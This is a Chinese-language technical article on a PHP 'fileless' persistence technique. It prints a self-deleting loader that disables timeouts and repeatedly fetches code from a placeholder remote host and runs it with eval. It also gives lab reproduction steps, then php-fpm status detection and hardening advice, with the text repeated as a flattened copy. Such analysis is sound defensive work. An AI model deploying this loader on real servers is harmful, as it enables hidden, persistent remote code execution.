php无文件攻击(二) - 进程驻留
字数 1278 2025-08-10 08:29:04

PHP无文件攻击(二) - 进程驻留技术分析与防御

一、技术概述

PHP无文件攻击中的"进程驻留"技术是一种高级持久化攻击手段,它利用了PHP的解析执行特性,通过以下流程实现攻击:

  1. 执行一个shellcode加载器
  2. 加载器运行后删除自身
  3. 加载远程文件内容到内存中执行
  4. 动态加载并执行真正的shellcode

整个过程shellcode不落地,仅在内存中执行,具有极强的隐蔽性。

二、攻击原理详解

2.1 Shellcode加载器示例代码

<?php
chmod($_SERVER['SCRIPT_FILENAME'], 0777);
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
echo "success";
$remote_file = 'http://x.x.x.x/shellcode';
while($code = file_get_contents($remote_file)){
    @eval($code);
    echo "xunhuan";
    sleep(5);
};
?>

2.2 关键函数解析

  1. ignore_user_abort(true)

    • 作用:实现后台运行
    • 功能:指示服务器在远程客户端关闭连接后是否继续执行脚本
    • 设置为True时,即使用户停止脚本运行,脚本仍会继续执行
  2. set_time_limit(0)

    • 作用:取消脚本运行时间的超时上限
    • 参数为0表示永久执行直到程序结束
    • 可能被中间件的默认超时设置打断
  3. unlink($_SERVER['SCRIPT_FILENAME'])

    • 作用:删除自身脚本文件
    • 执行条件苛刻:需要脚本具备可执行和可修改文件权限

2.3 Shellcode示例

file_put_contents('printTime.txt','I am running '.time());

2.4 攻击效果

  1. 加载器执行后删除自身
  2. 在当前目录生成printTime.txt文件
  3. 通过循环每隔5秒执行一次远程shellcode
  4. 整个攻击过程在内存中完成,无文件落地

三、攻击复现环境

可使用CVE-2019-11043的vulhub环境进行试验:

  1. 上传加载器
  2. 执行加载器
  3. 观察是否循环写入时间戳
  4. 确认加载器已删除自身

四、检测方案

由于此类webshell一直在内存中执行,可通过检测php-fpm状态信息进行发现。

4.1 开启php-fpm status

  1. 修改配置文件:/usr/local/etc/php-fpm.d/www.conf
  2. 取消注释:pm.status_path = /status
  3. 重启php-fpm容器
  4. 访问:http://x.x.x.x:8080/status?full

4.2 检测特征

  1. 请求持续时间(request duration字段)

    • 异常长时间运行的PHP进程
  2. 执行文件真实性(script字段)

    • 检查执行的脚本文件是否真实存在于文件系统中
  3. 其他异常指标

    • 异常的进程内存占用
    • 不寻常的请求频率

五、防御建议

  1. 文件权限控制

    • 严格限制PHP文件的写入和执行权限
    • 禁用不必要的文件系统函数
  2. PHP配置加固

    • 设置合理的max_execution_time
    • 禁用危险函数(如eval、exec等)
    • 限制allow_url_fopen和allow_url_include
  3. 监控措施

    • 实时监控php-fpm状态
    • 建立异常进程检测机制
    • 监控文件系统异常删除操作
  4. 安全审计

    • 定期审计服务器上的PHP文件
    • 检查异常的网络连接
    • 分析日志中的可疑eval操作
  5. 入侵检测

    • 部署基于行为的Webshell检测系统
    • 监控内存中的异常PHP进程
    • 建立基线比对机制检测异常行为

通过以上技术分析和防御措施,可以有效防范和检测此类无文件攻击,保障服务器安全。

PHP无文件攻击(二) - 进程驻留技术分析与防御 一、技术概述 PHP无文件攻击中的"进程驻留"技术是一种高级持久化攻击手段,它利用了PHP的解析执行特性,通过以下流程实现攻击: 执行一个shellcode加载器 加载器运行后删除自身 加载远程文件内容到内存中执行 动态加载并执行真正的shellcode 整个过程shellcode不落地,仅在内存中执行,具有极强的隐蔽性。 二、攻击原理详解 2.1 Shellcode加载器示例代码 2.2 关键函数解析 ignore_ user_ abort(true) 作用:实现后台运行 功能:指示服务器在远程客户端关闭连接后是否继续执行脚本 设置为True时,即使用户停止脚本运行,脚本仍会继续执行 set_ time_ limit(0) 作用:取消脚本运行时间的超时上限 参数为0表示永久执行直到程序结束 可能被中间件的默认超时设置打断 unlink($_ SERVER[ 'SCRIPT_ FILENAME']) 作用:删除自身脚本文件 执行条件苛刻:需要脚本具备可执行和可修改文件权限 2.3 Shellcode示例 2.4 攻击效果 加载器执行后删除自身 在当前目录生成printTime.txt文件 通过循环每隔5秒执行一次远程shellcode 整个攻击过程在内存中完成,无文件落地 三、攻击复现环境 可使用CVE-2019-11043的vulhub环境进行试验: 上传加载器 执行加载器 观察是否循环写入时间戳 确认加载器已删除自身 四、检测方案 由于此类webshell一直在内存中执行,可通过检测php-fpm状态信息进行发现。 4.1 开启php-fpm status 修改配置文件: /usr/local/etc/php-fpm.d/www.conf 取消注释: pm.status_path = /status 重启php-fpm容器 访问: http://x.x.x.x:8080/status?full 4.2 检测特征 请求持续时间 (request duration字段) 异常长时间运行的PHP进程 执行文件真实性 (script字段) 检查执行的脚本文件是否真实存在于文件系统中 其他异常指标 异常的进程内存占用 不寻常的请求频率 五、防御建议 文件权限控制 严格限制PHP文件的写入和执行权限 禁用不必要的文件系统函数 PHP配置加固 设置合理的max_ execution_ time 禁用危险函数(如eval、exec等) 限制allow_ url_ fopen和allow_ url_ include 监控措施 实时监控php-fpm状态 建立异常进程检测机制 监控文件系统异常删除操作 安全审计 定期审计服务器上的PHP文件 检查异常的网络连接 分析日志中的可疑eval操作 入侵检测 部署基于行为的Webshell检测系统 监控内存中的异常PHP进程 建立基线比对机制检测异常行为 通过以上技术分析和防御措施,可以有效防范和检测此类无文件攻击,保障服务器安全。